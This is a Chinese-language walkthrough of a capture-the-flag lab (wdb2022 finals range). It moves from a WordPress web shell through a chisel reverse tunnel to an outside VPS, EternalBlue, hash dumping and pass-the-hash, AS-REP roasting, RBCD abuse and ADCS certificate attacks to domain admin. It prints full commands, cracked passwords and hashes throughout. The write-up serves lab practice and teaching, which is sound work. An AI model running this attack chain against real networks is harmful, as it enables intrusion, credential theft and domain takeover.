0%

wdb2022总决赛靶场复现

外网拿shell

给了个ip,进去之后发现是个页面,直接开扫

有很多干扰项

img

http://39.99.234.230/wp-login.php?redirect_to=http%3A%2F%2F39.99.234.230%2Fwp-admin%2F&reauth=1

是一个登录框,admin/123456登陆进去

找模板编辑写一句话🐎

img

有个疑问,他们是怎么找到路径的?

因为拼接路径是wordpress的传统

/wp-content/themes/twentytwentyone/footer.php

imgimg

成功拿shell

img

注意哥斯拉传fscan要用大文件传输

img

反代

vps上执行./chisel server -p 12345 –reverse

靶机上执行./chisel client 47.237.99.196:12345 R:0.0.0.0:1080:socks

做代理转发

img

注意fscan不支持socks代理,所以得把fscan传进目录里边

注意上传fscan执行前要chmod +x赋予执行权限

./fscan -h 172.22.15.0/24

扫描全网段后结果就在同目录下的result.txt

img

img

这几个是活着的

[2025-07-09 17:08:08] [HOST] 目标:172.22.15.26 状态:alive 详情:protocol=ICMP

[2025-07-09 17:08:08] [HOST] 目标:172.22.15.18 状态:alive 详情:protocol=ICMP

[2025-07-09 17:08:08] [HOST] 目标:172.22.15.13 状态:alive 详情:protocol=ICMP

[2025-07-09 17:08:08] [HOST] 目标:172.22.15.35 状态:alive 详情:protocol=ICMP

[2025-07-09 17:08:08] [HOST] 目标:172.22.15.24 状态:alive 详情:protocol=ICMP

看大哥的复现可以提取出已下信息

172.22.15.26 入口
172.22.15.24 MS17-010 web服务
172.22.15.35 XR-0687 域成员
172.22.15.18 XR-CA
172.22.15.13 DC

永恒之蓝打24

开放445端口的

msf6 > setg Proxies socks5:47.237.99.196:1080

msf6 > use exploit/windows/smb/ms17_010_eternalblue

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp_uuid

payload => windows/x64/meterpreter/bind_tcp_uuid

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 172.22.15.24

rhosts => 172.22.15.24

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

直接拿下,爽

img

img

代理一改就能访问内网别的机器啦

img

抓一下hush

就是 提取 Windows 本地用户密码的哈希值,为下一步的破解、横向渗透等操作准备“钥匙”。

meterpreter > hashdump

^[Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e52d03e9b939997401466a0ec5a9cbc:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Administrator: 用户名

500: 用户RID

aad3b435b51404eeaad3b435b51404ee: LM哈希

0e52d03e9b939997401466a0ec5a9cbc::: NTLM哈希

Guest:

501:

aad3b435b51404eeaad3b435b51404ee:

31d6cfe0d16ae931b73c59d7e0c089c0:::

拿NTLM哈希进行哈希传递攻击,其中要求目标服务器开启445端口(SMB负责远程登录那些)

psexec.py 背后的过程是:

  1. 通过 445端口连接目标
  2. 使用 Administrator 账号+NTLM哈希 进行 SMB 认证
  3. 在目标系统上 写入并运行一个服务(类似 PSEXESVC.exe
  4. 使用该服务作为通信通道,发送命令并接收回显

proxychains psexec.py administrator@172.22.15.24 -hashes ‘:0e52d03e9b939997401466a0ec5a9cbc’ -codec gbk

笑死中间socks挂了一直显示失败

img

proxychains psexec.py administrator@172.22.15.24 -hashes ‘:0e52d03e9b939997401466a0ec5a9cbc’ -codec gbk

直接狠狠拿下!

img

flag一般放在user或根目录下、

C:\Windows\system32> dir C:\Users

驱动器 C 中的卷没有标签。

卷的序列号是 46D4-3B9F

C:\Users 的目录

2023/02/01 12:30

.

2023/02/01 12:30

..

2023/06/05 14:55

Administrator

2009/07/14 12:57

Public

​ 0 个文件 0 字节

​ 4 个目录 27,616,792,576 可用字节

img

拿下第二个flag

第二台机器横向渗透

systeminfo查看总体情况

img

发现只是workgroup

说明没有加入域, 非域控、非域成员机 ,横向移动受限,价值较低

net user发现也没有其他用户

img

因为当时只是用哈希骗进去拿到了权限,并不能像远程桌面登录那样直接进去,所以要新建用户

1
2
3
net user qiushanth qs9985** /add               新建用户qiushanth      密码:qs9985**
net user qiushanth /active:yes 激活用户
net localgroup administrators qiushanth /add 添加进管理员组,使其有很多权限

reg query “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections

显示0x0,说明rdp已经启用

如果是0x1,那么执行下面命令来打开

reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

netsh advfirewall firewall set rule group=”remote desktop” new enable=Yes

但是开完全局代理也连接不上呀

img

只能从80端口开的服务打起了

用火狐搞代理就行

记得有phpstudy服务

看开启了phpmyamdin服务,因为phpmyadmin的账号密码就是数据库的账号密码,所以没法搞

所以 得通过phpstudy翻数据库账号密码

C:\phpstudy_pro\WWW\config里边一个config.php文件,type看到其内容为

* The config file of zentaophp. Don’t modify this file directly, copy the item to my.php and change it.

说明是在my.php里边

img

所以现在是要找my.php

img

$config->db->host = ‘127.0.0.1’;

$config->db->port = ‘3306’;

$config->db->name = ‘zdoo’;

$config->db->user = ‘root’;

$config->db->password = ‘root@#123’;

$config->db->prefix = ‘zdoo’;

ok那我们登录phpmyadmin

img

数据库有这些

img

我们要拿OA的用户密码本

  • information_schema:系统数据库,存放数据库元数据,跟业务数据无关,不用管它。
  • mysql:系统数据库,存放MySQL本身的用户权限信息等,也不用管。
  • performance_schemasys:也是MySQL内部性能相关的数据库,不是业务数据。
  • zdoo:这个名字看起来像OA系统用的业务数据库。

查看zdoo数据库,翻user

img

zdoosys_user内容为我们想要的oa密码本

img

这些邮箱一看就是 标准的域用户名格式啊

搜索拿到用户名然后导出

img

哈希密码喷洒攻击

proxychains GetNPUsers.py xiaorang.lab/ -dc-ip 172.22.15.13 -usersfile user.txt -request -outputfile hash.txt

proxychains 挂代理

GetNPUsers.py

  • 针对 Kerberos AS-REP Roasting 攻击,枚举域内用户并获取没有开启“需要预身份验证”(Pre-Authentication) 的账户的 Kerberos AS-REP 响应。
  • 它会尝试从域控制器请求用户的 AS-REP 数据包(如果用户允许),从中提取可用于离线破解的哈希。

xiaorang.lab/

  • 指定了 目标域名
  • xiaorang.lab 是目标Active Directory域名。
  • 域名就是 Active Directory 环境的“网络身份”,告诉工具“我要操作的是哪一块网络和用户资源”。

-dc-ip 172.22.15.13 -

usersfile user.txt -request

对指定的user表发起请求

导出对应出来的密码哈希值

-outputfile hash.txt

$krb5asrep$23$huachunmei@XIAORANG.LAB:626beeccfcee265c8ce7f4535dcf8c7a$3aa033b695b49dc77a3cf4bcefce2c2c625a8478ab3e7bcf23097af4871d22782fc37ab3162342a1e7802328e316daeb37aaaec60dc0552a8a3429d499da6f9a87b3f29530d99ee2d4f2d946344927e13d945e93256ffe18327346ff70f35503bfe695d0d0dcec7a88b5a22d763d184aff8ea34d88ecafaeccabfa3adf5c432e63c4feae542de0c76f7f8d64f16725c6c58572fbc4fba698dad73a5001f7fccf3ee823dd3ec23aeae0ab4147f4f8ef8029112a16fb6c4706286dfad4d3d0d46fbe22987342d35665e5663f928133ce0c0d7a35e01383911c0210d78e5d40a0e22648ef2c29fe89a3efc73e21

$krb5asrep$23$lixiuying@XIAORANG.LAB:604fef13fa7e2098b2f7c9d6d8bf93d8$b09d98fd6eb5b23119351faa360feaf4a7eba953d16cb505e78b2b31f48da96f5b640ca7436b502e4e6627fb402f7f70b331d5cffcd9fcf92c3268f22a21926966727b106e13ae721a1bfa66261e3fd2ff6f11dadc150e4e31db7f4f3a90619e601101fc53dffbdb065c923d4169d2a6cbcbadbde4aacc99728f7ae4f057b01f80abf3309dadd8e2f345f6903e96100efb965768d57ca70598b3ff06ca5a03e4fad2083ab9cc9c7ce46913d68e7c2bf2022e22c8ffee56b15c94ca8f18825ed3964445d6395a13efb6da3674aca7ab02456a6786cbf0bcdc776c953ac847a69bfd0e5622821435243b48dda2

导出的哈希进行破译

直接破译

qiushanth@LAPTOP-C9HA07R3:~/dic$ hashcat -m 18200 hash.txt ~/wordlists/rockyou.txt –force

lixiuying@XIAORANG.LAB/winniethepooh

huachunmei@XIAORANG.LAB/1qaz2wsx

img

crackmapexec rdp 启动,利用爆出来的凭据一个个探测是否开启rdp以及是否能登录

proxychains crackmapexec rdp 172.22.15.0/24 -u lixiuying -p winniethepooh -d XIAORANG.LAB

proxychains crackmapexec rdp 172.22.15.0/24 -u huachunmei -p 1qaz2wsx -d XIAORANG.LAB

然鹅这俩命令执行结果都是如下,显示报错,试了各种方法都不行img

smb探测

所以试试smb吧

proxychains -q crackmapexec smb 172.22.15.0/24 -u ‘lixiuying’ -p ‘winniethepooh’ -d XIAORANG.LAB

proxychains -q crackmapexec smb 172.22.15.0/24 -u ‘huachunmei’ -p ‘1qaz2wsx’ -d XIAORANG.LAB

SMB 172.22.15.13 445 XR-DC01 [+] XIAORANG.LAB\lixiuying:winniethepooh

SMB 172.22.15.18 445 XR-CA [+] XIAORANG.LAB\lixiuying:winniethepooh

SMB 172.22.15.35 445 XR-0687 [+] XIAORANG.LAB\lixiuying:winniethepooh

SMB 172.22.15.13 445 XR-DC01 [+] XIAORANG.LAB\huachunmei:1qaz2wsx

SMB 172.22.15.18 445 XR-CA [+] XIAORANG.LAB\huachunmei:1qaz2wsx

SMB 172.22.15.35 445 XR-0687 [+] XIAORANG.LAB\huachunmei:1qaz2wsx

试试成功的,用rdp连接试试,smb相比rdp来说可以更快速判断,所以在smb密码喷洒之后再用rdp来搞

其实要搞的就是13,18,35,因为前面fscan已经搞过了一遍了

接管35后继续渗透

┌──(root㉿LAPTOP-C9HA07R3)-[/home/qiushanth/dic]

└─# proxychains netexec rdp 172.22.15.35 172.22.15.18 172.22.15.13 -u ./username.txt -p ./password.txt –continue

哭了,这个netexec工具比cme好用多了

RDP 172.22.15.35 3389 XR-0687 [+] xiaorang.lab\lixiuying:winniethepooh (Pwn3d!)

RDP 172.22.15.35 3389 XR-0687 [+] xiaorang.lab\huachunmei:1qaz2wsx (Pwn3d!)

如果你是在受控机器上运行,也可以用 Windows 的 SharpHound.exe:

注意登录用户名前面要加域

img

对域控做信息探测

proxychains bloodhound-python -u lixiuying -p winniethepooh -d xiaorang.lab -c all -ns 172.22.15.13 –zip –dns-tcp

因为这个工具走的是smb和ldap协议,前边smb密码喷洒已经显示能拿下了,所以这么搞针对域控可以实现对其的很好的架构探测

参数 含义
-u, -p 登录使用的域用户密码
-d 域名(FQDN)如 xiaorang.lab
-c all 所有收集模块都启用
-ns 指定 DNS 域控服务器
--zip 抓取完后自动打包为 zip 可导入 BloodHound
--dns-tcp 强制使用 TCP DNS 查询(稳定)
proxychains 强制走代理,如你连域控需穿透网络

来一波信息搜集

img

bloodbound打开,看这个用户出站权限

img

配置RBCD接管

可以看到 lixiuying 对 XR-0687 具有 GenericWrite 权限(写权限)

毕竟lixiuying只是普通的域用户而已,并不能:

  • 添加用户;
  • dump 哈希;
  • 控制 AD;
  • 横向攻击其他机器;
  • 域控提权。

所以我们需要利用lixiuying来走RBCD配置获取

达到管理的目的

步骤 工具 动作说明
1️⃣ addcomputer 创建 TEST$ 伪装账户
2️⃣ rbcd 设置 XR-0687 的 RBCD,让它信任 TEST$
3️⃣ getST 以 TEST$ 身份伪装成 Administrator 拿票据
4️⃣ psexec 使用 Kerberos 票据远程执行管理员命令(成功横向或提权)

proxychains addcomputer.py xiaorang.lab/lixiuying:’winniethepooh’ -dc-ip 172.22.15.13 -dc-host xiaorang.lab -computer-name ‘TEST$’ -computer-pass ‘P@ssw0rd’

  • 使用 lixiuying 这个普通域用户账户,在域控上创建一个新的计算机账户 TEST$
  • 指定密码为 P@ssw0rd
  • 这个计算机账户就是你接下来伪装的“跳板”。
  • 一个普通用户最多创建10个

img

proxychains rbcd.py xiaorang.lab/lixiuying:’winniethepooh’ -dc-ip 172.22.15.13 -action write -delegate-to ‘XR-0687$’ -delegate-from ‘TEST$’

  • XR-0687$ 机器对象写入了 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。
  • 意思是:让 TEST$ 可以代表任何用户(比如 Administrator)去访问 XR-0687

img

proxychains getST.py xiaorang.lab/‘TEST$’:‘P@ssw0rd’ -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13

  • TEST$ 身份向域控请求一个 Service Ticket(TGS):
  • 说:“我是 TEST$,我想模拟 Administrator 来访问 CIFS/XR-0687。”
  • 如果 RBCD 设置成功,域控会给你这个票据 ✅

img

export KRB5CCNAME=$(pwd)/Administrator@cifs_XR-0687.xiaorang.lab@XIAORANG.LAB.ccache

告诉系统“Kerberos 票据就在这里

proxychains psexec.py administrator@XR-0687.xiaorang.lab \

-k -no-pass \

-dc-ip 172.22.15.13 \ 域控

-target-ip 172.22.15.35 你创造用户的ip

  • 使用 -k 参数代表 使用当前 kerberos 票据(也就是你上一步拿到的)
  • -no-pass 表示不使用密码,而是凭票据访问
  • psexec.py 会尝试在 XR-0687 上以 Administrator 执行命令,开启 shell、dump flag 等都行
  • 普通域用户

RBCD接管总结

​ │

​ ├─➤ addcomputer.py ← 添加机器账户 TEST$

​ │

​ ├─➤ rbcd.py ← 把 TEST$ 授权为 XR-0687$ 的代理

​ │

​ ├─➤ getST.py ← TEST$ 冒充 Administrator 拿票据

​ │

​ └─➤ psexec.py ← 使用票据登录 XR-0687,获取 SYSTEM

也就是 利用一个“能写属性的低权限用户”,构造一个“合法的域内委派链条”,最终“冒充管理员访问目标主机”。 达到提权的目的

img

获得交互式shell然后读取flag

第三台机器

ADCS漏洞尝试

现在来看,我们还剩下这俩没打

172.22.15.18 XR-CA

CA是证书服务器,扫了下也没啥玩的,剩1个flag应该是要拿到dc
172.22.15.13 DC

尝试利用 ADCS(Active Directory Certificate Services)漏洞,从目标域控制器中获取可用于后续攻击的哈希(NTLM)或证书

proxychains -q certipy-ad find -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -vuln

proxychains -q 通过代理静默执行 certipy-ad
certipy-ad 用于滥用 ADCS(域证书服务)漏洞的工具
find 扫描域中是否存在潜在可滥用的证书模板和配置
-u lixiuying@xiaorang.lab 域用户账户名
-p winniethepooh 该账户密码
-dc-ip 172.22.15.13 指定域控制器的 IP 地址
-vuln 检测是否存在可利用的 ADCS 漏洞(ESC1~ESC8 等)

用 certipy 先枚举一遍可利用的证书模版(

尝试 ADCS 获取Hash

)

proxychains -q certipy-ad find -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -vulnerable -stdout

Certipy v5.0.2 - by Oliver Lyak (ly4k)

试一下cve提权

img

写一下用户

1

proxychains -q certipy-ad account create \

-user ‘hacker2$’ \

-pass ‘Admin@123’ \

-dns XR-DC01.xiaorang.lab \

-dc-ip 172.22.15.13 \

-u lixiuying \

-p ‘winniethepooh’

  • 用已有的低权限域用户(lixiuying)
  • 在 Active Directory 中新建了一个计算机账户 hacker2$
  • 并且:
  • 设置了这个机器账户的密码为:Admin@123
  • 设置了 dnsHostName 为:XR-DC01.xiaorang.lab(你假装它是域控)

为计算机账户请求模板

proxychains -q certipy-ad req -u ‘hacker2$@xiaorang.lab’ -p ‘Admin@123’ -ca ‘xiaorang-XR-CA-CA’ -target 172.22.15.18 -template ‘Machine’

这条命令的作用是:使用 Certipy 工具,通过“机器模板(Machine Template)”请求一个机器账户(**hacker2$**)的证书,从而获取它的凭据,以便后续利用(比如伪造 Kerberos 票据、Pass-the-Cert 等)。

具体步骤和参数解释:

  • proxychains -q:通过代理链运行命令,保持流量走代理,-q 是安静模式减少输出。
  • certipy-ad req:调用 Certipy 工具的“请求证书”功能。
  • -u 'hacker2$@xiaorang.lab':用来认证的用户,这里是新建的机器账户 hacker2$
  • -p 'Admin@123':对应的密码。
  • -ca 'xiaorang-XR-CA-CA':指定证书颁发机构(CA)名字。
  • -target 172.22.15.18:目标服务器 IP,通常是域控的 ADCS 服务所在地址。
  • -template 'Machine':请求的证书模板,机器模板。

拿机器账户nt hash

proxychains -q certipy-ad auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13

用你刚申请到的机器证书 xr-dc01.pfx 来进行身份验证,尝试通过 PKINIT(证书认证)获取域控的 TGT(票据授予票证)。

成功拿到 TGT 后,它会保存一个 Kerberos 凭据缓存文件 xr-dc01.ccache。

接着,利用拿到的 TGT 去请求域控机器账户 xr-dc01$ 的 NT Hash(密码哈希值)。

最终输出了该账户的 NT Hash。

┌──(root㉿LAPTOP-C9HA07R3)-[/home/qiushanth/dic]

└─# proxychains -q certipy-ad auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:

[*] SAN DNS Host Name: ‘XR-DC01.xiaorang.lab’

[*] Using principal: ‘xr-dc01$@xiaorang.lab’

[*] Trying to get TGT…

[*] Got TGT

[*] Saving credential cache to ‘xr-dc01.ccache’

[*] Wrote credential cache to ‘xr-dc01.ccache’

[*] Trying to retrieve NT hash for ‘xr-dc01$’

[*] Got hash for ‘xr-dc01$@xiaorang.lab’: aad3b435b51404eeaad3b435b51404ee:8b0a575a4d99a0b8f5a8878285942727

img

但是后边尝试用该机器nt hash来请求导出所有用户的hash,但是失败了

提取证书和私钥

certipy-ad cert -pfx xr-dc01.pfx -nokey -out dc01.crt

certipy-ad cert -pfx xr-dc01.pfx -nocert -out dc01.key

通过证书认证写入 RBCD(资源约束委派)权限 (授权)

proxychains -q passthecert.py \

-action write_rbcd \

-crt /home/qiushanth/PassTheCert/Python/test.crt \

-key /home/qiushanth/PassTheCert/Python/test.key \

-domain xiaorang.lab \

-dc-ip 172.22.15.13 \

-delegate-to ‘XR-DC01$’ \

-delegate-from ‘hacker2$’

proxychains -q 使用代理链(常用于穿透代理连接 AD)
passthecert.py 利用证书进行身份认证的攻击脚本
-action write_rbcd 操作类型为 写入 RBCD 权限
-crt / -key 使用 .crt.key 文件进行身份认证
-domain xiaorang.lab 指定目标域
-dc-ip 172.22.15.13 域控 IP
-delegate-to 'XR-DC01$' 目标计算机账号,你要让谁被委派(通常是域控)
-delegate-from 'hacker2$' 当前你控制的机器账号,要赋予其委派能力

这条命令的作用是:让 hacker2$ 这个机器账号获得对 XR-DC01$ 的伪装权限,从而可以假冒任意用户访问它(例如假冒 Administrator 登录域控)

img

获得伪造票据

proxychains -q getST.py xiaorang.lab/‘hacker2$’:‘Admin@123’ -dc-ip 172.22.15.13 -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator

使用 hacker2$ 的凭据,假冒 Administrator,请求访问 XR-DC01.xiaorang.lab 上的共享服务的 Kerberos 票据(TGS),从而达到“模拟域管访问目标机器”的目的。

img

参数 说明
proxychains -q 使用代理(静默模式,不输出代理信息)——适用于目标必须走 socks 代理的情况(如 Cobalt Strike Beacon)。
getST.py Impacket 工具之一,用于获取服务票据(TGS)。这是 S4U2Self + S4U2Proxy 攻击的核心脚本。
xiaorang.lab/'hacker2$':'Admin@123' 身份认证信息: • xiaorang.lab 是域名 • hacker2$ 是计算机账户名 • Admin@123 是它的密码(可控主机的密码)
-dc-ip 172.22.15.13 指定域控制器(Domain Controller)的 IP 地址。
-spn cifs/XR-DC01.xiaorang.lab 服务主体名称(SPN):你想访问的目标服务。 这里是 XR-DC01 的 CIFS(共享服务),用于模拟登录目标机器。
-impersonate Administrator 要假冒的用户,这里是域管 Administrator。 前提是你设置过 RBCD(资源委派权限)。

设置然后接管

img

┌──(root㉿LAPTOP-C9HA07R3)-[/home/qiushanth]

└─# export KRB5CCNAME=/home/qiushanth/Administrator@cifs_XR-DC01.xiaorang.lab@XIAORANG.LAB.ccache

┌──(root㉿LAPTOP-C9HA07R3)-[/home/qiushanth]

└─# proxychains -q psexec.py -k -no-pass -dc-ip 172.22.15.13 administrator@XR-DC01.xiaorang.lab -codec gbk

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

使用缓存的 Kerberos 票据(不提供密码),通过 psexec 模拟登录目标主机 XR-DC01.xiaorang.lab,以 administrator 身份执行命令,走代理,并设置输出编码为 gbk。